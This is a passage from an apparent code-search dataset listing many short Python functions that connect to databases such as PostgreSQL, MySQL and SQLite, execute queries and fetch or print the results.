cursor.description]\n return (fields, cursor.fetchall())\n except(Exception, psycopg2.DatabaseError) as error:\n print(\"Error connecting to database\", error)\n finally:\n if not connection is None:\n cursor.close()\n connection.close()","def get_result(query):\r\n db = psycopg2.connect(database=DBNAME)\r\n c = db.cursor()\r\n c.execute(query)\r\n results = c.fetchall()\r\n db.close()\r\n return results","def sql_execute(sql_query, create_con_obj=None, n_row=0):\r\n\r\n if create_con_obj is None:\r\n create_con_obj = create_connection()\r\n print (sql_query)\r\n df = pd.read_sql(sql_query, create_con_obj)\r\n print (df.head(2))\r\n\r\n return df","def sql_query(self, query, params=(), plain_query=False, dict_cursor=False,\n cursor_class=None, show_table=False, buffsize=1024):\n if not cursor_class:\n if dict_cursor:\n cursor_class = oursql.DictCursor\n else:\n cursor_class = oursql.Cursor\n klass = cursor_class\n\n with self._sql_lock:\n if not self._sql_conn:\n self._sql_connect()\n with self._sql_conn.cursor(klass, show_table=show_table) as cur:\n cur.execute(query, params, plain_query)\n if buffsize:\n while True:\n group = cur.fetchmany(buffsize)\n if not group:\n return\n for result in group:\n yield result\n for result in cur.fetchall():\n yield result","def _execute_query(self,\n sql_connection: Connection,\n sql_query: Union[str, Query]) -> List[Dict[str, Any]]:\n return_result: List[Dict[str, Any]] = []\n result: ResultProxy = sql_connection.execute(sql_query)\n if result and result.returns_rows:\n return_result: List[Dict[str, Any]] = [dict(row) for row in result]\n return return_result","def select_query(self):\n query = db.select([self.tables])\n print(query)\n ResultProxy = self.connection.execute(query)\n ResultSet = ResultProxy.fetchall()\n return ResultSet","def query(output, query):\n gqlapi = gql.get_api()\n print_output(output, gqlapi.query(query))","def do_query(self, query):\n query = query.replace('\\n', ' ')\n self.cursor.execute(query)\n return self.cursor.fetchall()","def query(self, query: str, *args, **kwargs):\n cursor = self._cursor()\n try:\n self._execute(cursor, query, args, kwargs)\n column_names = [d[0] for d in cursor.description]\n return [Row(zip(column_names, row)) for row in cursor]\n finally:\n cursor.close()","def run_query(query):\n conn = connection.get_db_connection()\n cursor = conn.cursor()\n cursor.execute(query)\n return cursor","def execute_query(query):\n try:\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n c.execute(query)\n result_table = c.fetchall()\n db.close()\n return result_table\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)","def command(self, args):\n try:\n with Reader(args.filename, args.sql_command) as odb_reader:\n for row in odb_reader:\n print(row)\n except InterfaceError as err:\n print(f\"Query interface error: {err}\")\n except ProgrammingError as err:\n if \"Assertion failed\" in str(err):\n print(f\"Query error: {args.filename} does not appear to be a valid ODB2 file.\")\n else:\n print(f\"Query error: {err}\")","def execute_query(query):\n\n db = psycopg2.connect(database=\"news\")\n cursor = db.cursor()\n cursor.execute(query)\n query_result = cursor.fetchall()\n db.close()\n return query_result","def query(self, query, *args, **kwargs):\n # TODO: do not return an sqlite3 Errors\n\n if not self.begin():\n return None\n\n self.execute(query, *args, **kwargs)\n\n # create clever result\n ret = list()\n for row in self.cursor:\n if len(row) == 1: # (2)\n ret.append(row[0])\n else: # (3)\n ret.append(row)\n if len(ret) == 1: # (1)\n ret = ret[0]\n\n self.end()\n\n return ret","def execute_query(query):\n db = psycopg2.connect(\"dbname=news\")\n c = db.cursor()\n c.execute(query)\n results = c.fetchall()\n db.close()\n return results","def query(self, query):\n cursor = self.database.cursor()\n cursor.execute(query)\n # If it's a query that's expected to return a value (EG: SELECT)\n if query.strip().lower().startswith('select'): return cursor.fetchall()","def query(connection, sql, commit=True, results=True):\n with connection.cursor() as cursor:\n # Create a new record\n cursor.execute(sql)\n\n # connection is not autocommit by default. So you must commit to save\n # your changes.\n if commit:\n connection.commit()\n\n if results:\n results = cursor.fetchall()\n return results","def execute_query(self, *args, **kwargs):","def query(self, query, *args, **kwargs):\n c = self._conn.cursor()\n easy_query(c.execute, query, *args, **kwargs)\n if c.description is None:\n return c.rowcount\n return Results(c.description, c.fetchall())","def execute_sql(conn, query):\n\ttry:\n\t\t\tc = conn.cursor()\n\t\t\tc.execute(query)\n\texcept Error as e:\n\t\t\tprint(f\"SQL error :{e}\")\n\t\t\tprint(f\"Attempted to run: {query}\")\n\t\t\t\n\treturn c","def query_one(self, sql: str) -> Any:\n with self.connection.cursor() as cursor:\n self.connection.ping(reconnect=True)\n cursor.execute(sql)\n row = cursor.fetchone()\n self.connection.commit()\n return row","def fetch_single_res(db_conn, sql):\n try:\n with contextlib.closing(db_conn.cursor()) as curs:\n curs.execute(sql)\n return curs.fetchone()\n except RuntimeError as e:\n print(e.strerror)","def execute(self, qry):\n def internal():\n print 'qry = ', qry\n self._cur = self.get_cursor()\n print 'self._cur = ', self._cur\n self._cur.execute(qry)\n # self.conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor).execute(qry)\n rows = self._cur.fetchall()\n return rows\n\n return self._retry(internal)","def query_fetchall(self, q, param=None):\r\n try:\r\n c = self.connection.cursor()\r\n if param is None:\r\n c.execute(q)\r\n else:\r\n c.execute(q, param)\r\n self.logger.log(logger.LogLevel.DEBUG, 'database.fetchall: %s | %s' % (q, param)) \r\n return c.fetchall()\r\n except Exception as e:\r\n self.logger.log(logger.LogLevel.ERROR, 'database.fetchall: %s. %s | %s' % (e, q, param))\r\n return False","def uglyprint(self):\n\n ctmp = self.conn.cursor()\n ctmp.execute(\"SELECT * FROM ATOM\")\n print(ctmp.fetchall())","def db_query(query, db_name, user):\n\n # Attempt connection to DB with given parameters\n try:\n conn = psycopg2.connect(dbname=db_name, user=user)\n except psycopg2.Error as e:\n print(e)\n raise SystemExit\n\n # Create cursor and try to execute given query\n # and return fetched data\n cur = conn.cursor()\n try:\n cur.execute(query)\n except psycopg2.Error as e:\n print(e)\n conn.close()\n else:\n return cur.fetchall()\n cur.close()\n conn.close()","def query(self, query_str):\n try:\n conn = MySQLdb.connect(**self.connect)\n cur = conn.cursor()\n result = cur.execute(query_str)\n conn.commit()\n conn.close()\n return result\n except Exception, e:\n logger.error(\"mysql util error:\" + str(e))","def run_query(query, args=[], conn=None):\n if conn == None:\n conn = create_connection()\n\n with conn.cursor() as cursor:\n if query.lower().startswith(\"select\"):\n cursor.execute(query=query, args=args)\n return cursor.fetchall()\n else:\n cursor.execute(query=query, args=args)\n try:\n conn.commit()\n except Exception as e:\n print(\"ERROR OCCURED WHILE DB COMMIT --- DB_UTILS\", e)","def query(self, sql, rowfactory=None, *args, **kwgs):\n return query(self.conn, sql, rowfactory, *args, **kwgs)","def _perform_single_query(khoros_object, query, fields=None, cursor=None):\n # Construct the entire LiQL query\n cursor = '' if not cursor else liql.structure_cursor_clause(cursor)\n query = f\"{query} {cursor}\" if cursor else query\n\n # Perform the API call and retrieve the data\n response = liql.perform_query(khoros_object, liql_query=query)\n data = liql.get_returned_items(response)\n\n # Get the cursor when present\n cursor = None\n if response.get('data').get('next_cursor'):\n cursor = response['data'].get('next_cursor')\n\n # Add missing columns to message data as needed\n data = _add_missing_cols(data, fields)\n try:\n data = sorted(data, key=itemgetter(*tuple(data[0].keys())))\n except KeyError as missing_key:\n logger.error(f'Could not sort the user data because the \\'{missing_key}\\' key was missing.')\n\n # Return the user data and cursor\n return data, cursor","def fetch_one(cls, sql, **kwargs):\n conn = kwargs['conn']\n\n cursor = conn.cursor(dictionary=True, buffered=False)\n for _ in cursor.execute(sql, kwargs.get('args'), multi=True):\n pass\n\n result = cursor.fetchone()\n cls.close(conn, cursor)\n\n return result","def sqlQuery (c, s) :\n assert str(type(c)) == \"<type '_mysql.connection'>\"\n assert type(s) is str\n c.query(s)\n r = c.use_result()\n if r is None :\n return None\n assert str(type(r)) == \"<type '_mysql.result'>\"\n t = r.fetch_row(maxrows = 0)\n assert type(t) is tuple\n return t","def ExecQuery(con: Union[Dict[str, str], pyodbc.Connection], sql_string: str, nextset: bool=False, win_auth: bool=False):\r\n if type(con) == dict:\r\n con = StartConnection(**con, win_auth=win_auth)\r\n\r\n cursor = con.cursor()\r\n print(\"Executing SQL statement: {}\".format(sql_string))\r\n cursor.execute(sql_string)\r\n\r\n data = \"\"\r\n col_name_list = []\r\n if not nextset:\r\n data = cursor.fetchall()\r\n col_name_list = list(col[0] for col in cursor.description)\r\n else:\r\n while cursor.nextset():\r\n try:\r\n data = cursor.fetchall()\r\n col_name_list = list(col[0] for col in cursor.description)\r\n break\r\n except pyodbc.ProgrammingError:\r\n continue\r\n cursor.close()\r\n del cursor\r\n con.close()\r\n\r\n print(\"Finish Execution\")\r\n print(\"{} records are found.\".format(len(data)))\r\n msg = \"Fields of data: \\n\"\r\n for field in enumerate(col_name_list):\r\n msg = msg + str(field[0]) + \": \" + str(field[1]) + \"\\n\"\r\n print(msg, \"\\n\")\r\n return data, col_name_list","def fetch_data_from_db(query):\n cursor.execute(query)\n result = cursor.fetchall()\n return result","def run_select_query(query, args = None):\n cursor = db.get_cursor()\n cursor.execute(query, args)\n return cursor.fetchall()","def execute_article_query():\n db = psycopg2.connect(database=\"news\")\n c = db.cursor()\n c.execute(article_query)\n content = c.fetchall()\n db.close()\n print(article_query_question)\n for article, views in content:\n print('\"%s\" -- %d views' % (article, views))\n print('\\n')","def execute_query(self) -> dict or list:\n pass","def select_all_data(conn, select_sql):\n cur = conn.cursor()\n cur.execute(select_sql)\n\n rows = cur.fetchall()\n\n for row in rows:\n print(row)","def db_connection(query):\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n c.execute(query)\n return c.fetchall()\n db.close()","def executeQuery(args):\n\n if 'dbname' not in args and 'query' not in args and 'type' not in args:\n print \"invalid executeQuery options\"\n else:\n querytype = args['type']\n connection = connect({ 'dbname' : args['dbname'] })\n if connection:\n cursor = connection.cursor()\n query = args['query']\n\n # FIND QUERY\n if(querytype == 'find'):\n if 'values' not in args:\n cursor.execute(query)\n else:\n cursor.execute(query,args['values'])\n if cursor.rowcount > 0:\n result = cursor.fetchall()\n else:\n result = 0\n\n # DELETE QUERY\n if(querytype == 'delete'):\n cursor.execute(query)\n result = cursor.rowcount\n\n # INSERT QUERY\n if(querytype == 'insert'):\n if 'values' not in args:\n print \"no values to insert\"\n else:\n cursor.execute(query,args['values'])\n result = cursor.rowcount\n\n connection.commit()\n cursor.close()\n connection.close()\n return result","def print_results(self, question, query, desc=\"views\"):\n # get the resuls from the query\n results = self.db_results(query)\n # print out the question\n print(question)\n # go through the rows and format the results\n for row in results:\n print('\\t' + str(row[0]) + ' - ' + str(row[1]) + ' ' + desc)\n print","def _query(self, query, data, fetch='all'):\n rows = self.cursor.execute(query, data)\n try:\n if fetch == 'all':\n return rows.fetchall()\n elif fetch == 'one':\n return rows.fetchone()\n elif fetch == 'none':\n self.conn.commit()\n except Exception, e:\n self.log.warning(\"miss on the db for {}: {}\".format(q, e))\n raise Exception(\"SQLiteDB Fail on query: {}\".format(query) + \\\n \"excetion was {}\".format(e))","def _run_query(self):","def test_iterating_query_with_arguments(self):\n with Database(connstr) as db:\n for row in db.query(\"\"\"select i, dc from test where i = %s or i = %s\"\"\", 2, 3):\n\n drow = row.as_dict\n i, dc = drow['i'], drow['dc']\n assert len(row) == 2\n assert dc == Decimal('0.{}'.format(i))\n assert repr(row) == '<Row {\"dc\": \"%s\", \"i\": %s}>' % (dc, i)","def run_query(query_command):\n connection = psycopg3.connect(database=DBNAME)\n cursor = connection.cursor()\n cursor.execute(query_command)\n data = cursor.fetchall()\n connection.close()\n return data"],"string":"[\n \"def run_query(cur, query, show_results=False):\\n num_rows = cur.execute(query)\\n print('the query returned {} rows'.format(num_rows))\\n if show_results:\\n for row in cur.fetchall():\\n print(row)\",\n \"def answer_query(query, conn, curs):\\r\\n results = conn.execute(query)\\r\\n results = results.fetchall()[0][0]\\r\\n print(results)\",\n \"def runningwithqueries(query):\\n print(\\\"\\\\nRunning Query: \\\" + str(query) + \\\"\\\\nResult :\\\\n\\\")\\n crsr = cnxn.execute(query)\\n columns = [column[0] for column in crsr.description]\\n print(columns)\\n for row in crsr.fetchall():\\n print(row)\\n crsr.close()\",\n \"def run_query(cursor, connection, query):\\n\\n time_start = time.time()\\n\\n cursor.execute(query)\\n\\n connection.commit()\\n\\n print(\\\"Query:\\\", end=\\\" \\\")\\n\\n print(query)\\n\\n try:\\n rows = cursor.fetchall()\\n\\n print(\\\"Result:\\\", end=\\\" \\\")\\n\\n for row in rows:\\n print(row)\\n\\n except psycopg2.Error as _:\\n print(\\\"Query did not return any results.\\\")\\n\\n print(\\\"Execution time:\\\", time.time() - time_start, '\\\\n')\",\n \"def execute_query(cur, conn, query):\\n try:\\n cur.execute(query)\\n rows = cur.fetchall()\\n for row in rows:\\n print(row)\\n conn.commit()\\n except Exception as e:\\n print(e)\",\n \"def run_query(conn, query):\\n\\tcur = conn.cursor()\\n\\tcur.execute(query)\\n\\trows = cur.fetchall()\\n\\treturn rows\",\n \"def _runQuery(self, query, connection):\\n with connection as c:\\n cursor = c.cursor()\\n cursor.execute(query)\\n results = []\\n result = cursor.fetchone()\\n while result is not None:\\n numCols = len(result)\\n item = {}\\n for col in range(0, numCols):\\n key = cursor.description[col][0]\\n value = result[col]\\n try:\\n #handle oracle clob datatypes\\n value = str(result[col].read())\\n except AttributeError:\\n pass\\n item[key] = value\\n #item = {cursor.description[col][0]: result[col] for col in range(0, numCols)}\\n results.append(item)\\n result = cursor.fetchone()\\n return results\",\n \"def connect(sql, query, conn):\\n cursor = conn.cursor() # Return the cursor and use it to perform queries.\\n\\n # Execute the query.\\n if query == 'no_query': # If we're just running an SQL query without a variable, only execute the sql\\n cursor.execute(sql)\\n else:\\n cursor.execute(sql, query) # If we have a variable (e.g. an FBgn) be sure to include it in the execute command.\\n \\n records = cursor.fetchall() # Grab the results.\\n cursor.close() # Close the cursor.\\n return records # Return a list of tuples.\",\n \"def select(conn, sql):\\n cur = conn.cursor()\\n cur.execute(sql)\\n\\n rows = cur.fetchall()\\n\\n for row in rows:\\n print(row)\",\n \"def query(self, query):\\n\\n config = {\\n 'user' : self.db_user,\\n 'password' : self.db_pwd,\\n 'database' : self.db_name,\\n 'host' : self.db_host,\\n 'unix_socket' : self.db_socket,\\n 'port' : self.db_port,\\n 'charset' : 'utf8'\\n }\\n\\n try: \\n cnx = mysql.connector.connect(**config)\\n cursor = cnx.cursor(dictionary=True) # To return rows as dictionaries.\\n\\n cursor.execute(query[0], query[1])\\n \\n # Putting the result rows in an array.\\n result = []\\n for row in cursor:\\n result.append(row)\\n\\n except mysql.connector.Error as err:\\n return None\\n else:\\n cursor.close()\\n cnx.close()\\n return result\",\n \"def execute(self, query):\\n with self.conn.cursor() as cur:\\n # Execute the query\\n try:\\n cur.execute(query)\\n except Exception as exc:\\n print(\\\"Unable to execute query. Error was {0}\\\".format(str(exc)))\\n exit()\\n rows = cur.fetchall()\\n return rows\",\n \"def get_query_results(query):\\n\\n db, c = connect()\\n c.execute(query)\\n results = c.fetchall()\\n db.close()\\n return results\",\n \"def queryWithResult(self, query_str):\\n try:\\n conn = MySQLdb.connect(**self.connect)\\n cursor = conn.cursor()\\n cursor.execute(query_str)\\n result = cursor.fetchall()\\n conn.commit()\\n conn.close()\\n return result\\n except Exception, e:\\n logger.error(\\\"mysql util error:\\\" + str(e))\",\n \"def get_query_results(query):\\n try:\\n dbconn = psycopg2.connect(database=\\\"news\\\")\\n cursor = dbconn.cursor()\\n cursor.execute(query)\\n result = cursor.fetchall()\\n dbconn.close()\\n return result\\n except Exception as e:\\n print(e)\\n exit(1)\",\n \"def doQuery( connection ): # function definition\\r\\n cursor = connection.cursor()\\r\\n \\r\\n query = \\\"\\\"\\\"select Title, sum( UnitPrice ) as cost\\r\\n from Album natural join Track\\r\\n group by AlbumId\\r\\n order by cost desc\\\"\\\"\\\"\\r\\n \\r\\n cursor.execute( query )\\r\\n \\r\\n print( \\\"Album titles and cost of tracks\\\" )\\r\\n print( \\\"Title\\\\t\\\\t\\\\t\\\\tCost\\\" )\\r\\n for (Title, cost) in cursor:\\r\\n print( Title, \\\"\\\\t\\\\t\\\\t$\\\", cost )\\r\\n \\r\\n cursor.close()\",\n \"def execute_read_query(connection, query):\\n cursor = connection.cursor()\\n result = None\\n try:\\n cursor.execute(query)\\n result = cursor.fetchall()\\n return result\\n except psycopg2.OperationalError as e:\\n print(f\\\"The error '{e}' occurred\\\")\",\n \"def run(self):\\n rows = None\\n if self.sql.startswith('select'):\\n conn = self.table.connect()\\n with conn.cursor() as curs:\\n try:\\n curs.execute(self.sql)\\n except conn.DatabaseError as exc:\\n error, = exc.args\\n logging.error(f\\\"\\\"\\\"error executing {self.sql}:\\n {error.code}\\\"\\\"\\\")\\n self.excep = exc\\n raise exc\\n else:\\n rows = curs.fetchall()\\n # logging.critical(f\\\"\\\"\\\"executed {self.sql}\\\"\\\"\\\")\\n self.result_exec = rows\",\n \"def _run_query(self, query):\\n cursor = self.conn.cursor()\\n cursor.execute(query)\\n return cursor.fetchall()\",\n \"def execute_query(query):\\n c.execute(query)\\n return c.fetchall()\",\n \"def _execute_query(self, sql):\\n url = self.db_url + \\\"?\\\" + urlencode({'action': 'doQuery', 'SQL': sql})\\n install_opener(build_opener(self.auth_handler, self.cookie_handler))\\n response = urlopen(url)\\n cookie_jar.save(ignore_discard=True)\\n\\n # Check for OK response\\n line = response.readline()\\n if bytes(line) != b\\\"#OK\\\\n\\\":\\n raise Exception(response.readlines())\\n\\n # Skip rows until we reach QUERYTIMEOUT\\n while True:\\n line = bytes(response.readline())\\n if line == b\\\"\\\":\\n raise Exception(\\\"Unexpected end of file while reading result\\\"\\n \\\"header\\\")\\n elif line.startswith(b\\\"#QUERYTIMEOUT\\\"):\\n break\\n\\n # Skip QUERYTIME\\n if not(bytes(response.readline()).startswith(b\\\"#QUERYTIME\\\")):\\n raise Exception(\\\"Don't understand result header!\\\")\\n\\n # Read column info\\n # (also discards line with full list of column names)\\n columns = []\\n while True:\\n line = bytes(response.readline())\\n if not line.startswith(b\\\"#\\\"):\\n break\\n else:\\n m = re.match(b\\\"^#COLUMN ([0-9]+) name=([\\\\w]+) \\\"\\n b\\\"JDBC_TYPE=(-?[0-9]+) JDBC_TYPENAME=([\\\\w]+)\\\\n$\\\",\\n line)\\n if m is not None:\\n columns.append(m.groups())\\n else:\\n raise Exception(\\\"Don't understand column info: \\\"+line)\\n\\n # Construct record type for the output\\n types = [numpy_dtype[col[3]] for col in columns]\\n try:\\n # Python 2 compatible\\n names = [col[1] for col in columns]\\n dtype = np.dtype([(n, t) for n, t in zip(names, types)])\\n except TypeError:\\n # Python 3 compatible\\n names = [col[1].decode() for col in columns]\\n dtype = np.dtype([(n, t) for n, t in zip(names, types)])\\n\\n # Return the data as a record array\\n return np.genfromtxt(response, dtype=dtype, delimiter=\\\",\\\")\",\n \"def execute_query(conn, query):\\r\\n cur = conn.cursor()\\r\\n cur.execute(query)\\r\\n conn.commit()\\r\\n return cur.fetchall()\",\n \"def query(self, query, dict_cursor=False):\\n try:\\n if dict_cursor:\\n self.dict_cursor.execute(query)\\n results = self.dict_cursor.fetchall()\\n else:\\n self.cursor.execute(query)\\n results = self.cursor.fetchall()\\n return results\\n except MySQLdb.Error as e:\\n self.connection.rollback()\\n try:\\n print(\\\"MySQL Error {}: {}\\\".format(e.args[0], e.args[1]))\\n except IndexError:\\n print(\\\"MySQL Error: {}\\\".format(str(e)))\",\n \"async def query(self, stmt, *args):\\n\\n with (await self.application.db.cursor()) as cur:\\n await cur.execute(stmt, args)\\n return [self.row_to_obj(row, cur)\\n for row in await cur.fetchall()]\",\n \"def query_mysql(cnx, query, args=None, dict_=False):\\n\\tcursor = cnx.cursor(dictionary=dict_)\\n\\tcursor.execute(query, args)\\n\\tresults = cursor.fetchall()\\n\\tcursor.close()\\n\\treturn results\",\n \"def execute(con, query):\\n\\tc = con.cursor()\\n\\tdata = {}\\n\\tdata['query'] = query\\n\\tdata['rows'] = None\\n\\tdata[\\\"description\\\"] = None\\n\\tdata['error'] = None\\n\\ttry:\\n\\t\\tdata['rows'] = c.execute(query).fetchall() or None\\n\\t\\tdata[\\\"description\\\"] = c.description or None\\n\\texcept Exception as e:\\n\\t\\tdata['error'] = str(e)\\n\\treturn json.dumps(data)\",\n \"def query(self, sql):\\n self.cursor.execute(sql)\\n result = self.cursor.fetchall()\\n return result\",\n \"def executeQuery(connection,cursor,query,query_type):\\n\\tif query_type =='select':\\n\\t\\tcursor.execute(query)\\n\\t\\tresult = cursor.fetchall()\\n\\t\\treturn result\\n\\t\\t\\n\\telif query_type in ['insert','update','delete']:\\n\\t\\tcursor.execute(query)\\n\\t\\tconnection.commit()\\n\\t\\t#generate a log msg in the future\",\n \"def execute_and_fetch(db, query):\\n rows = []\\n\\n db.query(query)\\n res = db.use_result()\\n row = res.fetch_row()\\n while row != ():\\n rows.append(row[0])\\n row = res.fetch_row()\\n return rows\",\n \"def test_connection(self):\\n with vertica_python.connect(**conn_info) as connection:\\n print(\\\"Connected to {} on host{} \\\".format(conn_info['database'],conn_info['host']))\\n cur = connection.cursor()\\n cur.execute(self.TEST_QUERY)\\n for row in cur.iterate():\\n print(\\\"The row is {}\\\".format(row))\",\n \"def exec_results(query):\\n db = psycopg2.connect(database=DBNAME)\\n c = db.cursor()\\n c.execute(query)\\n result = c.fetchall()\\n db.close()\\n return result\",\n \"def _query_and_fetchall(self, query):\\n with self._connect() as conn:\\n cur = conn.cursor()\\n cur.execute(query)\\n results = cur.fetchall()\\n\\n return results\",\n \"def psql_connection(query):\\n try:\\n conn = psycopg2.connect(database=DB)\\n cur = conn.cursor()\\n cur.execute(query)\\n except Exception:\\n (\\\"Error connecting to database\\\")\\n else:\\n print(\\\"Calling database...\\\")\\n print(\\\"\\\")\\n results = cur.fetchall()\\n conn.close()\\n return results\",\n \"def query(cursor, query):\\n out = []\\n c = cursor.execute(query)\\n out.append(c.fetchall())\\n # will return list of tuples for each query\\n return out\",\n \"def pgquery( conn, sqlcmd, args ):\\n retval = False\\n query_result = []\\n with conn:\\n with conn.cursor() as cur:\\n try:\\n if args is None:\\n cur.execute(sqlcmd)\\n else:\\n cur.execute(sqlcmd, args)\\n for record in cur:\\n query_result.append(record)\\n retval = True\\n except Exception as e:\\n print(\\\"DB Read Error: \\\")\\n print(e)\\n return query_result\",\n \"def run_query(query):\\r\\n db = psycopg2.connect('dbname=' + database)\\r\\n connect = db.cursor()\\r\\n connect.execute(query)\\r\\n rows = connect.fetchall()\\r\\n db.close()\\r\\n return rows\",\n \"def execute(query: str):\\r\\n try:\\r\\n global connection\\r\\n global cursor\\r\\n\\r\\n cursor.execute(query)\\r\\n records = cursor.fetchall()\\r\\n connection.commit()\\r\\n return records\\r\\n\\r\\n except sqlite3.Error as error:\\r\\n logger.error(f\\\"Error while connecting to sqlite: {error}\\\")\",\n \"def execute_query(query):\\n try:\\n # enter your code here to get a database connection and cursor,\\n db = psycopg2.connect(database=DBNAME)\\n c = db.cursor()\\n # execute the query\\n c.execute(query)\\n # store the results\\n results = c.fetchall()\\n # close the database connection\\n db.close()\\n # return the results\\n return results\\n except (Exception, psycopg2.DatabaseError) as error:\\n print(error)\",\n \"def read(self, query):\\r\\n t1 = time.time()\\r\\n if self.database in ['redshift', 'postgres']:\\r\\n ret = postgres_helper.fetchall(config=self.conf, sql=query)\\r\\n else:\\r\\n raise Exception(\\\"database not supported yet: '{}'\\\"\\r\\n .format(self.database))\\r\\n t2 = time.time()\\r\\n t = t2 - t1\\r\\n print('Finished in {:.2f} seconds.'.format(t))\\r\\n return ret\",\n \"def db_results(self, query):\\n try:\\n # Connect to database\\n db = psycopg2.connect(\\\"dbname=news\\\")\\n c = db.cursor()\\n # executing query and getting all results\\n c.execute(query)\\n db_res = c.fetchall()\\n # closing connection\\n db.close()\\n return db_res\\n except Error:\\n print (\\\"Error when attempting to connect to db\\\")\",\n \"def db_execute_query(db_connection, query, query_args):\\n cursor = db_connection.cursor()\\n #datalab_logger_connections.info(\\\"reading database[Query. May Take Time]...\\\")\\n cursor.execute(query, query_args)\\n #datalab_logger_connections.info(\\\"finish to query database\\\")\\n return cursor\",\n \"def executeQuery(query):\\n c = db.cursor()\\n c.execute(query)\\n rows = c.fetchall()\\n db.close()\\n return rows\",\n \"def get_query_results(self, conn, sql):\\n\\n cur = conn.cursor()\\n cur.execute(sql)\\n yield from cur.fetchall()\",\n \"def execute(query):\\n print query\\n cursor.execute(query)\",\n \"def query(self, sql):\\n try:\\n res_cursor = self.connection.execute(text(sql))\\n except Exception as e: \\n raise e(\\\"SQL execution error!\\\")\\n \\n rows = (Row(res_cursor.keys(), record) for record in res_cursor)\\n results = RowsCollection(rows)\\n return results\",\n \"def query_with_results(string, args):\\n con = connect()\\n cursor = con.cursor()\\n results = cursor.execute(string, args).fetchall()\\n con.close()\\n return results\",\n \"def query(self, sql):\\r\\n\\r\\n result_sets = []\\r\\n self.messages = \\\"\\\"\\r\\n messages = \\\"\\\"\\r\\n\\r\\n # self.batched_query(sql)\\r\\n\\r\\n with self.conn.cursor() as cur:\\r\\n self.cur = cur\\r\\n\\r\\n self.request_cancel = False\\r\\n try:\\r\\n cur.execute(sql)\\r\\n except Exception as ex:\\r\\n self.cur = None\\r\\n self.messages = str(ex)\\r\\n return None\\r\\n while True:\\r\\n try:\\r\\n description = cur.description\\r\\n except:\\r\\n self.messages = \\\"Error reading description\\\"\\r\\n if self.metadata() is not None and description is not None:\\r\\n description = list(map(lambda c: c+(self._better_description(c),),description))\\r\\n # print(description)\\r\\n try:\\r\\n # data = cur.fetchmany(10000)\\r\\n # while True:\\r\\n # d = cur.fetchmany(10000)\\r\\n # if d is None or len(d) == 0:\\r\\n # break\\r\\n # if self.request_cancel:\\r\\n # cur.cancel()\\r\\n # self.request_cancel = False\\r\\n # data = data + d\\r\\n data = cur.fetchall()\\r\\n\\r\\n # select @var = 'tto' does not produce any resultset and raised an exception\\r\\n # we catch it and ignore it.\\r\\n # TODO: is there a better way to handle that?\\r\\n except pytds.ProgrammingError as ex:\\r\\n data = None\\r\\n if str(ex) == \\\"Previous statement didn't produce any results\\\":\\r\\n pass\\r\\n else:\\r\\n break\\r\\n \\r\\n except Exception as ex:\\r\\n data = None\\r\\n self.messages = str(ex) + \\\" Error while fetching data\\\"\\r\\n break\\r\\n\\r\\n\\r\\n\\r\\n if data is not None:\\r\\n result_sets.append(ResultSet(description, data))\\r\\n\\r\\n try:\\r\\n have_more_set = cur.nextset()\\r\\n except:\\r\\n self.messages = \\\"Error reading next set\\\"\\r\\n break\\r\\n if have_more_set is None or have_more_set is False:\\r\\n break\\r\\n\\r\\n try:\\r\\n for msg in cur.messages:\\r\\n messages = messages + str(msg[1]) + \\\"\\\\n\\\"\\r\\n except:\\r\\n self.messages = \\\"Error reading messages\\\"\\r\\n self.messages = messages + self.messages\\r\\n\\r\\n # print(\\\"End \\\",str(len(result_sets)))\\r\\n\\r\\n self.cur = None\\r\\n\\r\\n # if not result_sets:\\r\\n # return None\\r\\n return result_sets\",\n \"def quarry(conn, query, params=None, returns=True):\\n # Create cursor object\\n cur = conn.cursor()\\n\\n # Execute the query\\n if params is not None:\\n cur.execute(query, params)\\n else:\\n cur.execute(query)\\n\\n # If returns is True, assign the query to variable\\n if returns:\\n results = cur.fetchall()\\n pprint(results)\\n\\n # If not, do not create variable to return\\n # Close the cursor and the connection\\n cur.close()\\n conn.commit()\\n\\n # If returns is True, return the return value\\n if returns:\\n return results\",\n \"def __call__(self, dbio, *args, **kwargs):\\n sql = self.decorated(dbio, *args, **kwargs)\\n if not dbio.testing:\\n logger.debug(f\\\"running select:{sql}\\\")\\n cur = dbio.conn.cursor()\\n cur.execute(sql)\\n results = cur.fetchall()\\n columns = [desc[0] for desc in cur.description]\\n cur.close()\\n dbio.conn.commit()\\n return results, columns\\n else:\\n logger.debug(\\\"will run:{sql}\\\")\\n return None, None\",\n \"def getResults(query):\\n # Tells psycopg2 which database we are talking about\\n db = psycopg2.connect(database=\\\"news\\\")\\n # Curser is a local variable commonly use in sql/python connections\\n curser = db.cursor()\\n # Please refer to https://dev.mysql.com/doc/connector-python/en/\\n # for more information about how this block of code works\\n curser.execute(query)\\n i = curser.fetchall()\\n db.close()\\n return i\",\n \"def query_with_results(self, query: str, **kwargs) -> Tuple[pd.DataFrame, Any]:\\n # connect or switch the connection if our connection string\\n # is not the current KqlMagic connection.\\n if not self.connected and self.current_connection:\\n self.connect(self.current_connection)\\n if not self.connected:\\n raise MsticpyNotConnectedError(\\n \\\"Please run the connect() method before running a query.\\\",\\n title=\\\"not connected to a workspace.\\\",\\n help_uri=MsticpyKqlConnectionError.DEF_HELP_URI,\\n )\\n\\n if self._debug:\\n print(query)\\n\\n # save current auto_dataframe setting so that we can set to false\\n # and restore current setting\\n auto_dataframe = self._get_kql_option(option=\\\"Kqlmagic.auto_dataframe\\\")\\n self._set_kql_option(option=\\\"Kqlmagic.auto_dataframe\\\", value=False)\\n # run the query (append semicolon to prevent default output)\\n if not query.strip().endswith(\\\";\\\"):\\n query = f\\\"{query}\\\\n;\\\"\\n\\n result = self._ip.run_cell_magic(\\\"kql\\\", line=\\\"\\\", cell=query)\\n self._set_kql_option(option=\\\"Kqlmagic.auto_dataframe\\\", value=auto_dataframe)\\n if result is not None:\\n if isinstance(result, pd.DataFrame):\\n return result, None\\n if (\\n hasattr(result, \\\"completion_query_info\\\")\\n and result.completion_query_info[\\\"StatusCode\\\"] == 0\\n ):\\n data_frame = result.to_dataframe()\\n if result.is_partial_table:\\n print(\\\"Warning - query returned partial results.\\\")\\n return data_frame, result\\n\\n # Query failed\\n err_args = []\\n if hasattr(result, \\\"completion_query_info\\\"):\\n err_desc = result.completion_query_info.get(\\\"StatusDescription\\\")\\n err_desc = f\\\"StatusDescription {err_desc}\\\"\\n err_code = f\\\"(err_code: 